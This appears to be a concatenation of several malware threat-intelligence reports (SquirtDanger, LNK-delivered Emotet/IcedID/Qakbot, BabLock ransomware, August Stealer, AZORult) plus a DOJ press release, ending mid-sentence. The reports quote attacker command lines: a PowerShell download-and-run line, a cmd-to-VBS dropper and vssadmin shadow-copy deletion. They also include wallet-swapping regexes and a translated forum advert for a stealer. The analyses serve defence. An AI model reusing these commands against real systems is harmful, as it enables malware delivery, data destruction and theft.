# SquirtDanger: The Swiss Army Knife Malware from Veteran Malware Author TheBottle **By Josh Grunzweig, Brandon Levene, Kyle Wilhoit, Pat Litke** **April 17, 2018** **Category: Unit 42** **Tags: Dendi, Foxovsky, Omagarable, SquirtDanger, TheBottle** Finding and investigating new malware families or campaigns is a lot like pulling a loose thread from an article of clothing. Once you start tugging gently on the thread, everything starts to unravel. In this particular case, we began by investigating a new malware family, which we are calling SquirtDanger based on a DLL, SquirtDanger.dll, used in the attacks. There is strong evidence to indicate that this malware family was created by a prolific Russian malware author that goes by the handle of ‘TheBottle’. By pulling on a few strings, we were eventually led to TheBottle's unraveling. In this post, we will delve into how we unraveled TheBottle's activities and his newest malware family. ## Malware Overview SquirtDanger is a commodity botnet malware family that comes equipped with a number of characteristics and capabilities. The malware is written in C# (C Sharp) and has multiple layers of embedded code. Once run on the system, it will persist via a scheduled task that is set to run every minute. SquirtDanger uses raw TCP connections to a remote command and control (C2) server for network communications. SquirtDanger comes with a wealth of functionality, including the following: - Take screenshots - Delete malware - Send file - Clear browser cookies - List processes - Kill process - List drives - Get directory information - Download file - Upload file - Delete file - Steal wallets - Steal browser passwords - Swap identified wallets in the victim’s clipboard - Execute file The ability to swap out identified wallets with a predetermined wallet owned by the attacker is not a new one, as we have previously reported on it when analyzing the ComboJack malware family. For more information on how the SquirtDanger malware family operates, please refer to an in-depth analysis within the Appendix of this post. Using various analytic techniques, Palo Alto Networks Unit 42 researchers were able to extract an embedded identifier from roughly 400 SquirtDanger samples, which we attribute to separate campaigns. Broadly, we identify two subsets of this malware which are divided by distinct mutexes and other indicators that we observed in WildFire. As we dug into this malware, we discovered a code repository which coincided with the capabilities and style of the samples we had observed. Further analysis of the code in this repository indicated that our initial assessment was correct, and that this repository was the source code for SquirtDanger. While exploring the code, we discovered that TheBottle had posted this repository (and others) as a companion to a "confession" blog posted on telegra.ph. ## TheBottle Connection TheBottle, a well-known Russian cybercriminal, has been active on global underground marketplaces for years. Distributing, selling, and trading malware and source code has been TheBottle's modus operandi on underground marketplaces and forums. It appears, however, that TheBottle has encountered several issues throughout his career as a malware author. According to Vitali Kremez of Flashpoint: "Previously, TheBottle was banned unanimously by the underground arbitrators for customer infractions. His underground infractions were very costly leading to multiple disputes accusing him of not delivering malware support that was needed for long-term criminal operations." While investigating SquirtDanger, we came across a confessional blog post claiming to be TheBottle. In the post, the individual claimed responsibility for creating several malware families, including Odysseus Project, Evrial, Ovidiy Stealer, and several others. Again, Vitali of Flashpoint: "In his latest confession on telegraph, the actor walks through their life in underground lamenting on his challenges of being a malware developer with real-life issues... His sense of guilt pushed him to release all of his malware creations that were used in many cybercrime operations in the past from 'Ovidiy Stealer' to 'Reborn Stealer.'" TheBottle is ultimately expressing regret for creating many of the malware families. Looking closer at TheBottle's blog posting revealed a Telegram channel exposing a group of roughly 900 individuals most of whom appear to be Russian. Here the channel members are coordinating attacks, developing code, and trading/selling access to several different botnets and builders. Additionally, this Telegram group appears to be a common haunt of some interesting prolific actors, some with high-profile ties; such as foxovsky, an underground actor who is famous in underground communities for developing malware. Readers may recall foxovsky as being the author of a previously reported malware family called Rarog. Additionally, the ‘1MSORRY‘ actor was identified as being a member of this community, who is behind the 1MSORRY cryptocurrency botnet and other malware families being distributed around the globe. After some online sleuthing, we were able to find additional accounts across several social media sites TheBottle frequented. Across most of the social media sites we located, it was apparent TheBottle took his hacking persona seriously. Also, looking closer into TheBottle's Twitter conversations helped shed some light on how TheBottle feels about individuals using their malware. ## Infection Vector/Victimology In total, we saw 1,277 unique SquirtDanger samples used across multiple campaigns. SquirtDanger is likely delivered via illicit software downloads also known as "Warez". As of the time of writing, we witnessed 119 unique C2 servers that were geographically dispersed. Additionally, in the wild, we were able to identify 52 unique IPs or domains acting as delivery infrastructure. This infrastructure acts as a dissemination point for this malware. Some of this delivery infrastructure appeared to be compromised legitimate websites unwittingly distributing SquirtDanger. We have witnessed SquirtDanger being used against individuals across the globe, such as a Turkish university, an African telecommunications company, and a Japanese information and communication technology provider in Singapore. ## Conclusion The SquirtDanger malware family is just one of many commodity families being created today. It comes equipped with a wealth of features that allow attackers to quickly perform various actions on a compromised machine. While the malware itself proved to be interesting, it was the actor behind it that provided a much more interesting story. As we pulled on TheBottle's thread, we slowly started to realize that what we've found is just the tip of the proverbial iceberg. As we looked deeper into TheBottle's malware and online activity, we noticed this was just minor activity taking place in a larger web of criminals working together. In fact, just recently, one of TheBottle's allies was outed by the researcher known as Benkow. Ultimately, as we unraveled a small portion of criminal activity, we were able to observe a malware author evolve into what seemed a somewhat remorseful individual, posting on a near personal level. Ultimately, will TheBottle change his ways? We will watch and see. Using several sources of intelligence were key to the investigation of this actor and malware, and Palo Alto Networks customers are protected from this threat by: 1. WildFire detects all SquirtDanger files with malicious verdicts 2. AutoFocus customers can track these samples with the SquirtDanger tag 3. Traps blocks all of the files associated with SquirtDanger ## Appendix ### Malware Analysis The SquirtDanger malware family comes equipped with a wealth of features by the author. The malware is coded using C#. The malware author chose to make use of the Costura add-in to embed the SquirtDanger payload into the compiled executable. Once the main module is loaded and subsequently executed, it will begin by creating an installation directory, where the malware will copy itself. The following directories and their corresponding installation executables have been observed in the samples analyzed: - %TEMP%\Microsoft_SQL_SDKs\AzureService.exe - %TEMP%\MonoCecil\Fazathron.exe After SquirtDanger is copied to the necessary path, a new instance of this malware will be spawned prior to killing the current process. Once the installation phase has completed and the malware is found to be executed from the correct location, a new mutex will be created to ensure only one instance of the malware is run at a given time. The following two mutexes have been observed across all analyzed samples: - Omagarable - AweasomeDendiBotnet After the mutex has spawned, SquirtDanger will proceed to check for the existence of another executable, which will act as a persistence mechanism. This simple executable will simply check for the existence of the SquirtDanger payload, and if the payload cannot be found, a new copy is written to disk and a new instance will be spawned. This executable is embedded within the SquirtDanger payload and has been observed dropped to the following location: - %TEMP%\MSBuild.exe - %TEMP%\OmagarableQuest.exe This dropped file is given both SYSTEM and HIDDEN attributes to prevent victims from discovering it. A new scheduled task is created with a name of ‘CheckUpdate’ to run this file. This scheduled task checks every minute after it is initially setup. SquirtDanger proceeds to communicate with the remote C2 server using raw TCP sockets. Data sent between the client and server is serialized; however, it is not obfuscated. When the malware initially communicates with the remote server, it will attempt to obtain a list of additional modules to install. SquirtDanger comes with a wealth of functionality, including the following: - Take screenshots - Delete malware - Send file - Clear browser cookies - List processes - Kill process - List drives - Get directory information - Download file - Upload file - Delete file - Steal wallets - Steal browser passwords - Swap identified wallets in the victim’s clipboard - Execute file In the case of stealing passwords from browsers, a number of browsers are supported, including the following: - Chrome - Firefox - Yandex Browser - Kometa - Amigo - Torch - Opera SquirtDanger also has the ability to seek out wallets for various cryptocurrencies, including the following: - Litecoin - Bitcoin - Bytecoin - Dash - Electrum - Ethereum - Monero In addition to stealing wallets, the malware contains the ability to swap a victim’s clipboard data in the event a specific regular expression is encountered. The following regular expressions were present within the malware: | Type | Regular Expression | |------|--------------------| | QIWI | (^\+\d{1,2})?((\(\d{3}\))|(\-?\d{3}\-)|(\d{3}))((\d{3}\-\d{4})|(\d{3}\-\d\d\-\d\d)|(\d{7})|(\d{3}\-\d\-\d{3})) | | BTC | ^([13][a-km-zA-HJ-NP-Z1-9]{25,34})$ | | ETH | ^(0x[0-9a-fA-F]{40})$ | | LTC | ^(L[a-zA-Z0-9]{26,33})$ | | XRP | ^(r[rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz]{27,35})$ | | DOGE | ^(t[0-9a-zA-Z]{34})$ | | ZEC | ^(D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32})$ | | XMR | ^(4[0-9AB][1-9A-Za-z]{93,104})$ | In the event one of these digital currency addresses are encountered, the malware is configured to swap the value with one that is pre-determined. A number of digital currency addresses were able to be retrieved from our sample set, which have been included in the Appendix of this blog post. This feature is not a new one, as we have previously reported on it when analyzing the ComboJack malware family.
# Rise of LNK (Shortcut files) Malware An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, and many people have built “lnkbombs” tools specifically for malicious purposes. During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc. ## LNK Threat Analysis & Campaigns With Microsoft disabling office macros by default, malware actors are now enhancing their lure techniques, including exploiting LNK files to achieve their goals. Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files. We will go through three recent malware campaigns: Emotet, IcedID, and Qakbot to see how dangerous these files can be. ### Emotet **Infection-Chain** In Figure 4, we can see the lure message and attached malicious LNK file. The user is infected by manually accessing the attached LNK file. The properties of the LNK file reveal that it invokes the Windows Command Processor (cmd.exe). The target path is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can take advantage of this and pass on long arguments that are not visible in the properties. In our case, the argument is `/v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”`. Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs. The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload. The downloaded DLL is then finally executed using the REGSVR32.EXE utility, similar to the Excel-based version of Emotet. ### IcedID **Infection-Chain** This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities to target their victims. Here, the PowerShell LNK has a highly obfuscated parameter. The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with the argument `hxxps://hectorcalle[.]com/093789.hta`. The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to the URI `hxxps://hectorcalle[.]com/listbul.exe`. The URI downloads the IcedID installer 64-bit EXE payload under the %HOME% folder. ### Qakbot **Infection-Chain** This attack shows how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads. In Figure 10, the full target part argument is `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll`. When this PowerShell LNK is invoked, it connects to `hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png` using the Invoke-WebRequest command, and the downloaded file is saved under the %temp% folder with the name test.dll. This is the main Qakbot DLL payload, which is then executed using the rundll32 utility. ## Conclusion As we saw in the above three threat campaigns, it is understood that attackers abuse Windows shortcut LNK files, making them extremely dangerous to common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen using PowerShell and CMD to connect to malicious URLs to download malicious payloads. We covered just three of the threat families here, but these files have been seen using other Windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must thoroughly check while using LNK shortcut files. Consumers must keep their operating system and antivirus up to date and should beware of phishing emails and clicking on malicious links and attachments. ## IOC (Indicators of Compromise) | Type | SHA-256 | Scanner | |---------|-----------------------------------------------------------------------------------------------|------------------| | Emotet | 02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71 | WSS | | IcedID | 24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9 | WSS | | Qakbot | b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172 | WSS | ### URLs (Uniform Resource Locator) - hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/ - hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ - hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ - hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ - hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ - hxxps://hectorcalle[.]com/093789.hta - hxxps://hectorcalle[.]com/listbul.exe - hxxps://green-a-thon[.]com/LosZkUvr/B.png
# Russian National Convicted of Charges Relating to Kelihos Botnet A federal jury in Connecticut convicted a Russian national on Tuesday for operating a “crypting” service used to conceal “Kelihos” malware from antivirus software, enabling hackers to systematically infect victim computers around the world with malicious software, including ransomware. According to court documents and evidence introduced at trial, Oleg Koshkin, 41, formerly of Estonia, operated the websites “Crypt4U.com,” “fud.bz” and others. The websites promised to render malicious software fully undetectable by nearly every major provider of antivirus software. Koshkin and his co-conspirators claimed that their services could be used for malware such as botnets, remote-access trojans, keyloggers, credential stealers, and cryptocurrency miners. “The defendant designed and operated a service that was an essential tool for some of the world’s most destructive cybercriminals, including ransomware attackers,” said Acting Assistant Attorney General Nicholas L. McQuaid of the Justice Department's Criminal Division. “The verdict should serve as a warning to those who provide infrastructure to cybercriminals: the Criminal Division and our law enforcement partners consider you to be just as culpable as the hackers whose crimes you enable — and we will work tirelessly to bring you to justice.” In particular, Koshkin worked with Peter Levashov, the operator of the Kelihos botnet, to develop a system that would allow Levashov to crypt the Kelihos malware multiple times each day. Koshkin provided Levashov with a custom, high-volume crypting service that enabled Levashov to distribute Kelihos through multiple criminal affiliates. Levashov used the Kelihos botnet to send spam, harvest account credentials, conduct denial of service attacks, and distribute ransomware and other malicious software. At the time it was dismantled by the FBI, the Kelihos botnet was known to include at least 50,000 compromised computers around the world. “By operating a website that was intended to hide malware from antivirus programs, Koshkin provided a critical service that enabled other cyber criminals to infect thousands of computers around the world,” said Acting U.S. Attorney Leonard C. Boyle for the District of Connecticut. “We will investigate and prosecute the individuals who aid and abet cyber criminals as vigorously as we do the ones who actually hit the ‘send’ button on viruses and other malicious software.” “Koshkin and his associates knowingly provided crypting services designed to help malicious software bypass anti-virus software,” said Special Agent in Charge David Sundberg of the FBI’s New Haven Division. “The criminal nature of the Crypt4U service was a clear threat to the confidentiality, integrity, and availability of computer systems everywhere. We at the FBI will never stop pursuing those like Koshkin for perpetrating cyber crimes and threats to the public at large.” Koshkin was arrested in California in September 2019 and has been detained since his arrest. He faces a maximum penalty of 15 years in prison and is scheduled to be sentenced on Sept. 20. Koshkin’s co-defendant, Pavel Tsurkan, is charged with conspiring to cause damage to 10 or more protected computers, and aiding and abetting Levashov in causing damage to 10 or more protected computers. Levashov was arrested by the Spanish National Police in April 2017 and extradited to the United States. In September 2018, he pleaded guilty to one count of causing intentional damage to a protected computer, one count of conspiracy, one count of wire fraud, and one count of aggravated identity theft. The FBI’s New Haven Division investigated the case through its Connecticut Cyber Task Force. Assistant U.S. Attorney Edward Chang of District of Connecticut, and Senior Counsel Ryan K.J. Dickey of the Criminal Division’s Computer Crime and Intellectual Property Section are prosecuting the case with assistance from the Criminal Division’s Office of International Affairs. The Estonian Police and Border Guard Board also provided significant assistance. This case is part of the Department of Justice’s Ransomware and Digital Extortion Task Force, which was created to combat the growing number of ransomware and digital extortion attacks. As part of the Task Force, the Criminal Division, working with the U.S. Attorneys’ Offices, prioritizes the disruption, investigation, and prosecution of ransomware and digital extortion activity by tracking and dismantling the development and deployment of malware, identifying the cybercriminals responsible, and holding those individuals accountable for their crimes. The department, through the Task Force, also strategically targets the ransomware criminal ecosystem as a whole and collaborates with domestic and foreign government agencies as well as private sector partners to combat this significant criminal threat.
# An Analysis of the BabLock Ransomware This blog post analyzes a stealthy and expeditious ransomware called BabLock (aka Rorschach), which shares many characteristics with LockBit. A ransomware called BabLock (aka Rorschach) has recently been making waves due to its sophisticated and fast-moving attack chain that uses subtle yet effective techniques. Although primarily based on LockBit, the ransomware is a hodgepodge of other different ransomware parts pieced together into what we now call BabLock (detected as Ransom.Win64.LOCKBIT.THGOGBB.enc). Note, however, that we do not believe that this ransomware originates from the threat actors behind LockBit, which is now in its third iteration. In this blog entry, we look at its attack chain in detail and examine its likely origins. ## Discovery In June 2022, we discovered a ransomware (which turned out to be BabLock) using what appeared to be a unique style of appending extensions, where instead of the normal “one sample, one extension” method commonly used in ransomware attacks, we discovered that the attackers were appending numerical increments from 00-99 on top of the fixed ransomware extension for this specific infection. As a result, even on a single infected machine, there could be multiple extension variations from a single execution. Our investigation found that the ransomware was always deployed as a multi-component package consisting mostly of the following files: - The encrypted ransomware file, config.ini - A malicious sideloaded DLL (DarkLoader, a config.ini decryptor and ransomware injector) - A non-malicious executable used to load the malicious DLL - A CMD file to execute the non-malicious binary using the correct password The DarkLoader DLL will check for specific commands, particularly `--run`, which checks for the correct 4-digit password needed to start the encryption process. Although it bears little significance to the unpacking of the contents of config.ini itself, the DLL will execute the fundamental ransomware routine if supplied correctly. Once the DLL component is loaded by the non-malicious executable, it will immediately look for the config.ini file in the current executable’s path. Once this is found, the DLL decrypts config.ini and then executes notepad.exe with a certain set of command lines. For this particular campaign, we found a few notable and consistent patterns: - The main ransomware binary is usually delivered as an encrypted config.ini file. - DarkLoader is executed via DLL sideloading using legitimate executables. - The config.ini file is decrypted by a specially crafted loader designed specifically for these campaigns (detected as Trojan.Win64.DarkLoader). - BabLock appends a random number from 00 to 99 to the extension string per file within the same infected machine (for example, extn00-extn99 as extensions in the same infection). - Any DarkLoader DLL can be used to decrypt any encrypted ransomware config.ini, with no specific binary pairing needed. - The DarkLoader DLL uses Direct SysCall APIs to a select few, but important, calls to avoid API reading analysis. - The decrypted BabLock ransomware is always packed with VMProtect for anti-virtualization. - BabLock is loaded via the threat injection of a hooked API Ntdll.RtlTestBit to jump to memory containing the ransomware code. - There have been a few variations of the passcode for `--run` across different attacks, but all of them are still within a certain range of each other. ## Subtle but Sophisticated Throughout our initial encounter with BabLock in June 2022, we searched for similar files and found that the earliest record of these files dated back to March 2022. After discovering this, we wanted to find out how it managed to stay under the radar for so long. Since June 2022, there have only been a handful of recorded incidents involving the ransomware, including the most recent one. Due to a low number count, no notable statistics involving region, industry, or victim profile have stood out as of the time of writing. However, due to its notable features and characteristics, attacks related to BabLock can be easily identified. As we’ve already mentioned, after every file encryption, the ransomware appends a random number string between 00-99 to its hardcoded extension. This results in up to 100 different variations of the same ransomware extension. It also has a fairly sophisticated execution routine: - It uses a specific number code to execute properly. - It splits the package into multiple components. - It separates and hides the actual payload into an encrypted file. - It uses normal applications as loaders. Finally, BabLock employs publicly available tools as part of its infection chain. We found that the most used tools were the following: - Chisel - A transmission control protocol (TCP) and user datagram protocol (UDP) tunnel. - Fscan - A scanning tool. By using these two tools — combined with BabLock/LockBit possessing the capability to set active directory (AD) Group Policies for easier propagation — it’s possible for a malicious actor to navigate around a network without much effort. ## Comparing and Contrasting BabLock to LockBit and Other Ransomware From our investigation, most of the routines used by BabLock are more closely related to Lockbit (2.0) than any other ransomware. Other researchers also mention similarities to ransomware such as Babuk, Yanluowang, and others. Initially, we suspected it to be related to the DarkSide ransomware due to ransom note similarities. However, unlike the DarkSide ransomware, BabLock removes shadow copies by executing the following command lines: ``` vssadmin.exe delete shadows /All /Quiet ``` Therefore, we immediately ruled this relationship out since it’s different from the way DarkSide does things, which is deleting shadow copies through Windows Management Instrumentation (WMI) and PowerShell (which is technically more sophisticated and difficult to detect through standard monitoring tools). One of its common characteristics to Lockbit (2.0) would be the use of the same group policy to generate a desktop drop path. Similarly, the use of vssadmin for deleting shadow copies is also a routine heavily used in LockBit attacks (albeit also a common routine for many modern ransomware). Still, the resemblance is uncanny. Furthermore, it is running the same commands to execute GPUpdate for the AD. Due to this, our detection for this ransomware is still under the LockBit family. From what we can tell, BabLock looks like a Frankenstein-like creation that is stitched together from different known ransomware families. ## Insights and Conclusion Our first encounter with BabLock almost coincided with the release of Lockbit v3.0. However, since most of its structure still resembles Lockbit v2.0, we surmise that this may be from another affiliate or group. With nearly a year since the release of LockBit v3.0, we have found no changes to the payload of the BabLock even with recent attacks, further solidifying our stance that they are neither connected nor closely affiliated with the actual LockBit group. What we do know is that the threat actor behind BabLock managed to take many of the base capabilities of LockBit v2.0 and added bits and pieces of different ransomware families to create their own unique variant, which could possibly be enhanced further in the future. ## Recommendations Organizations can implement security frameworks to safeguard their systems from similar attacks, which systematically allocate resources to establish a robust defense strategy against ransomware. Below are some recommended guidelines that organizations may want to consider: - Taking an inventory of assets and data. - Identifying authorized and unauthorized devices and software. - Auditing event and incident logs. - Managing hardware and software configurations. - Granting admin privileges and access only when necessary to an employee’s role. - Monitoring network ports, protocols, and services. - Establishing a software allowlist that only executes legitimate applications. - Implementing data protection, backup, and recovery measures. - Enabling multifactor authentication (MFA). - Deploying the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network. - Watching out for early signs of an attack such as the presence of suspicious tools in the system. Implementing a multi-faceted approach can aid organizations in securing potential entry points into their systems such as endpoint, email, web, and network. With the help of security solutions that can identify malevolent elements and questionable activities, enterprises can be safeguarded from ransomware attacks. Trend Micro Vision One™ provides multilayered protection and behavior detection, which helps block questionable behavior and tools before the ransomware can do any damage. Trend Micro Cloud One™ – Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning. Trend Micro™ Deep Discovery™ Email Inspector employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware. Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints. ## Indicators of Compromise (IOCs) The indicators of compromise for this entry can be found here.
# Banco de Chile Wiper Attack Just a Cover for $10M SWIFT Heist A slip-up by a malware author has allowed researchers to taxonomize three ransomware variations going by different...
# August in November: New Information Stealer Hits the Scene **Overview** During the month of November, Proofpoint observed multiple campaigns from TA530, an actor noted for their highly personalized campaigns, targeting customer service and managerial staff at retailers. These campaigns utilized “fileless” loading of a relatively new malware called August through the use of Word macros and PowerShell. August contains stealing functionality targeting credentials and sensitive documents from the infected computer. **Delivery and Targeting** During our analysis, we found that many of the lures and subject lines of the emails referenced issues with supposed purchases on the company’s website and were targeted at individuals who may be able to provide support for those issues. The lures suggested that the attached document contained detailed information about the issue. However, the documents contained macros that could download and install August Stealer. The subject lines were personalized with the recipient's domain. Examples included: - Erroneous charges from [recipient’s domain] - [recipient’s domain] - Help: Items vanish from the cart before checkout - [recipient’s domain] Support: Products disappear from the cart during checkout - Need help with order on [recipient’s domain] - Duplicate charges on [recipient’s domain] The macro used is very similar to the one discussed in our previous post detailing sandbox evasion techniques used to deliver the Ursnif banking Trojan. It filters out security researchers and sandboxes using checks including Maxmind, task counts, task names, and recent file counts. Notably, the macro used in this campaign launches a PowerShell command to “filelessly” load the payload from a byte array hosted on a remote site. This actor previously used this technique to load POS payloads. The screenshot above shows the payload downloaded from the remote site as a PowerShell byte array. In addition to the byte array itself, there are few lines of code that deobfuscate the array through an XOR operation and execute the “Main” function of the payload. **Analysis** August is written in .NET, with samples obfuscated with Confuser. We determined from the source code of a particular sample that August can: - Steal and upload files with specified extensions to a command and control (C&C) server - Steal .rdp files - Steal wallet.dat files - Steal cryptocurrency wallets including Electrum and Bither - Grab FTP credentials from applications including SmartFTP, FileZilla, TotalCommander, WinSCP, and CoreFTP - Grab messenger credentials for Pidgin, PSI, LiveMessenger, and others - Collect cookies and passwords from Firefox, Chrome, Thunderbird, and Outlook - Determine the presence of common security tools including Wireshark and Fiddler - Communicate the hardware ID, OS name, and victim's username to the C&C server - Use simple encryption of network data via base64 encoding, character replacement, adding a random key (passed to server encoded in the User-Agent field), and reversing the strings **Conclusion** August is a new information stealer currently being distributed by threat actor TA530 through socially engineered emails with attached malicious documents. While this actor is largely targeting retailers and manufacturers with large B2C sales operations, August could be used to steal credentials and files in a wide range of scenarios. The malware itself is obfuscated while the macro used in these distribution campaigns employs a number of evasion techniques and a fileless approach to load the malware via PowerShell. All of these factors increase the difficulty of detection, both at the gateway and the endpoint. As email lures become increasingly sophisticated and personalized, organizations need to rely more heavily on email gateways capable of detecting macros with sandbox evasion built in as well as user education that addresses emails that do not initially look suspicious. **Indicators of Compromise (IOCs)** | IOC | Description | Type | | --- | ----------- | ---- | | c432cc99b390b5edbab400dcc322f7872d3176c08869c8e587918753c00e5d4e | Example Document | SHA256 | | hxxp://thedragon318[.]com/exchange/owalogon.asp | Payload URL | URL | | hxxps://paste[.]ee/r/eY3Ui | Payload URL | URL | | hxxp://muralegdanskzaspa[.]eu/network/outlook.asp | Payload URL | URL | | hxxp://krusingtheworld[.]de/port/login.asp | Payload URL | URL | | hxxp://pg4pszczyna[.]edu[.]pl/config/config.asp | Payload URL | URL | | hxxp://www[.]overstockage[.]com/image/image.asp | Payload URL | URL | | hxxp://thedragon318[.]com/exchange/port10/gate/ | August C2 | URL | | hxxp://himalayard[.]de/exchange/port10/gate/ | August C2 | URL | | hxxp://muralegdanskzaspa[.]eu/network/port10/gate/ | August C2 | URL | | hxxp://krusingtheworld[.]de/port/jp/gate/ | August C2 | URL | | hxxp://pg4pszczyna[.]edu[.]pl/config/install/gate/ | August C2 | URL | | hxxp://www[.]overstockage[.]com/catalog/core/gate/ | August C2 | URL | **ET and ETPRO Suricata/Snort Coverage** - 2823166 ETPRO TROJAN August Stealer CnC Checkin - 2823171 ETPRO CURRENT_EVENTS MalDoc Payload Inbound Nov 08 **Appendix A: Forum Advertisement** August Stealer - Passwords/Documents/Cookies/Wallets/Rdp/Ftp/IM Clients **Описание функционала:** - Стиллинг данных браузеров (сохранённые пароли/куки файлы) из: Mozilla FireFox Google Chrome Yandex Browser Opera Browser Comodo IceDragon Vivaldi Browser Mail.Ru Browser Amigo Browser Bromium Chromium SRWare Iron CoolNovo Browser RockMelt Browser Torch Browser Dooble Browser U Browser Coowon - Стиллинг данных учётных записей из некоторых фтп клиентов: FileZilla SmartFTP - Стиллинг данных из мессенджеров: Psi+ - Стиллинг файлов из указанных директорий по указанным маскам (возможность ограничивать вес входящих файлов) - Стиллинг файлов wallet.dat (кошельки криптвалюты) - Стиллинг файлов удалённого подключения (.rdp) **Описание билда:** - Зависимость от .NET Framework (2.0, возможность компиляции для более поздних версий по желанию) - Самоудаление после работы - Отправка данных на гейт (PHP 5.4+) - Шифрование входящего/исходящего трафика - Вес чистого, необфусцированного билда ~ 45кб - Не таскает за собой нативные библиотеки - Не требуются админ. права для выполнения поставленных задач - Не использовались чужие исходники **Описание панели управления:** - Версия PHP 5.4+ - Не требуется MySQL - Интуитивно-понятный интерфейс - Опенсорс, нет обфускации, нет привязок - Английский язык Первым трем покупателям - скидка 30% за отзыв Тем, кто приобретал у меня ранее продукт, предоставляется скидка 50% Принимаю предложения по совершенствованию софта/пополнению функционала Знатоки английского для исправления косяков в панели тоже бы пригодились Софт в будущем будет обновляться и пополняться новыми фичами, не глобальные обновления для клиентов будут бесплатны Цена: 100$ Ребилд: 10$ Метод оплаты: BTC **Appendix B: Forum Advertisement - English Translation** August Stealer - Passwords/Documents/Cookies/Wallets/Rdp/Ftp/IM Clients **Stealing data browser (saved passwords / cookie files) from:** Mozilla FireFox Google Chrome Yandex Browser Opera Browser Comodo IceDragon Vivaldi Browser Mail.Ru Browser Amigo Browser Bromium Chromium SRWare Iron CoolNovo Browser RockMelt Browser Torch Browser Dooble Browser U Browser Coowon - Stealing data accounts of some FTP clients: FileZilla SmartFTP - Stealing data from the messengers: Psi + Psi - Stealing files from the specified directory on the specified masks (the ability to restrict the size of incoming files) - Stealing wallet.dat files (cryptocurrency purses) - Stealing file remote connection (.rdp) **Description of the build:** - Dependence on the .NET Framework (2.0, able to compile for later versions on request) - Self-removal after execution - Sending data to the gate (PHP 5.4+) - Encryption of incoming / outgoing traffic - Size of clean build before obfuscation ~45KB - Does not bring with it native libraries - Do not require admin - Do not borrow sources from other malware **Description of the control panel:** - Version PHP 5.4+ - You do not need MySQL - Intuitive interface - Open source, no obfuscation, no bindings - English The first three customers - 30% discount for a review Those who acquired my earlier product, 50% discount I accept suggestions for making the software better / additional functionality Experts of the English language to correct the bugs in the panel are welcome Software in the future will be updated with new features done, small updates will be free for customers Price: $100 Rebuild: $10 Payment method: BTC
# AZORult Trojan Serving Aurora Ransomware by MalActor Oktropys This is a guest post from Vishal Thakur, a Security Incident Handler, APAC CSIRT for Salesforce. In this article, Thakur takes a deep dive into the technical aspects of a new AZORult variant that was found globally targeting computers. Those infected would have the Aurora Ransomware installed as well as an information stealing Trojan. For those who are interested in a step-by-step look at the reverse engineering of a malware sample, you will find this post very interesting. Towards the end of July 2018, we saw a new version of the AZORult trojan being used in malware campaigns targeting computers globally. In this article, we will dive into the malware and analyze its execution flow and payloads. The initial infection vector is a phishing email that comes with a downloader malware attached. On execution, it downloads and executes the main malware. This version of the malware comes with two payloads. These are embedded in the main binary and are simply dropped onto the disk and executed. The first payload to be executed is an information stealer that targets local accounts, browsers, saved credentials, etc. (this is the AZORult part). The second payload is the Aurora ransomware. We also identified the MalActor “Oktropys” running the Aurora ransomware campaign in this case. The main goal of this article is to analyze the malware from an incident response/threat neutralization point of view. We will try to understand the code structure and see if we are able to extract some useful IOCs from the binaries. ## Analyzing the dropper Let’s start the analysis by looking at the main binary. As stated earlier, this binary comes with the payloads embedded. You can simply extract these payloads by un-archiving the PE. To unarchive the binary, we use the 7-Zip program. As you can see, we were able to dump the archived data into a folder. Step into the folder two levels and you’ll find the extracted folders. Now we step into the folder 1337 and find the embedded payloads. Now, instead of getting to the payloads directly, we’ll follow the malware execution and see how it is using these embedded payloads. Let’s start by taking a look at the main dropper. On execution, it loads a number of modules. Now we’ll have a look at the interesting modules and their functions that are called on by the malware. As pointed out earlier, the malware drops two payloads. The first one to be dropped on execution is AU3_EXE_2018–07–18_23–01.exe. As you can see, function CreateFileA is used to create the file before the process is launched. Next step is to create the process. Once the process is ready, it’s time to launch it by execution. As you can 